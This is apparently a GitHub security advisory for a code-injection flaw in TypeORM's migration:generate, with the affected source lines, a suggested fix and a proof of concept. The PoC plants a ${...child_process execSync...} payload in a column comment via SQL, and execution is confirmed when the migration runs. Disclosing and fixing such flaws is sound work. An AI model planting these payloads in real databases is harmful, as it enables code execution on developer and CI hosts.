GHSA-2rp8-mm9q-fp49

Summary

typeorm migration:generate embeds database schema metadata into JS/TS template literals, escaping backticks but not ${...}. An attacker who can write schema metadata (column comments, defaults, view definitions) achieves arbitrary code execution on the host that loads the generated migration.

Details

MigrationGenerateCommand.ts (L117-138) wraps each SQL statement in a JS template literal, escaping only backticks:

"        await queryRunner.query(`" +
    upQuery.query.replaceAll("`", "\\`") +
    "`" + ...

Introspected schema strings reach this sink through driver query runners:

| Driver | Metadata source | Source | |---|---|---| | Postgres | column DEFAULT, COMMENT, CHECK constraints, view definitions | PostgresQueryRunner.ts:1782, L1898, L2287, L4125 | | MySQL/MariaDB | COLUMN_DEFAULT, COLUMN_COMMENT | MysqlQueryRunner.ts:2873-2974, L3580-3583 | | CockroachDB | Same patterns as Postgres | CockroachQueryRunner.ts |

escapeComment() on each driver strips only null bytes, leaving ${...} intact:

protected escapeComment(comment?: string) {
    if (!comment) return comment
    comment = comment.replaceAll("\u0000", "")
    return comment
}

When the migration file is loaded (migration:run, import, or require), the JS engine evaluates ${...} as live interpolation.

Affected source:

| File | Lines | Role | |---|---|---| | MigrationGenerateCommand.ts | 117-138 | Template-literal construction (sink) | | PostgresDriver.ts | 1886-1891 | escapeComment() — Postgres | | MysqlDriver.ts | 1322-1328 | escapeComment() — MySQL | | CockroachDriver.ts | 1236-1241 | escapeComment() — CockroachDB |

Confirmed injection vectors (MySQL):

| Vector | Result | Notes | |---|---|---| | Column COMMENT | Confirmed | Proven in PoC below | | Column DEFAULT | Confirmed | Attacker sets ALTER TABLE ... DEFAULT '${...}'; payload appears in generated migration | | CHECK constraint | Not exploitable | MySQL information_schema.CHECK_CONSTRAINTS strips content from CHECK_CLAUSE | | View definitions | Not tested | Requires PostgreSQL ViewEntity introspection; likely exploitable via pg_get_viewdef() |

Suggested fix: Escape ${ to \${ (and \\ to \\\\) before embedding query strings into template literals, or switch to emitting the SQL as a JSON.stringify()-encoded regular string argument.

PoC

Prerequisites:

• Any supported RDBMS (PostgreSQL, MySQL, MariaDB, CockroachDB, SQL Server, Oracle, SAP HANA, or Spanner) accessible to the developer running migration:generate
• The attacker has DDL/write access to the database, or the application exposes a feature allowing users to set column COMMENT, DEFAULT, or view definition text

Steps:

1. Inject payload into schema metadata. Set a column comment or default containing ${...}:

-- PostgreSQL
COMMENT ON COLUMN users.name IS '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}';

-- MySQL
ALTER TABLE users MODIFY COLUMN name VARCHAR(255) COMMENT '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}';

1. Run migration generation on the developer/CI machine:

npx typeorm migration:generate -d ./data-source.ts ./migrations/NextMigration

1. Inspect the generated file. The output .ts file contains unescaped ${...}:

export class NextMigration1234567890 implements MigrationInterface {
  public async up(queryRunner: QueryRunner): Promise<void> {
    await queryRunner.query(
      `COMMENT ON COLUMN "users"."name" IS '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}'`,
    );
  }
  // ...
}

1. Run or revert the migration:

npx typeorm migration:revert -d ./data-source.ts

Output confirms code execution — id ran on the host and its output was interpolated into the SQL:

ALTER TABLE `user` CHANGE `name` `name` varchar(255) NULL COMMENT 'uid=501(user) gid=20(staff) groups=20(staff),12(everyone),...'

The payload appears in whichever migration direction restores the DB's current state. A malicious DB comment with a clean entity comment places it in down(). Attacker-influenced entity metadata places it in up(). Either direction executes the code when the method runs.

Impact

Code injection / RCE. An attacker with DB schema write access executes arbitrary JavaScript on any machine that generates and loads the migration. This crosses the DB-to-host trust boundary.

CI/CD pipelines that auto-generate and run migrations are the highest-risk target. Any TypeORM user running migration:generate against a database with attacker-influenced schema metadata is affected.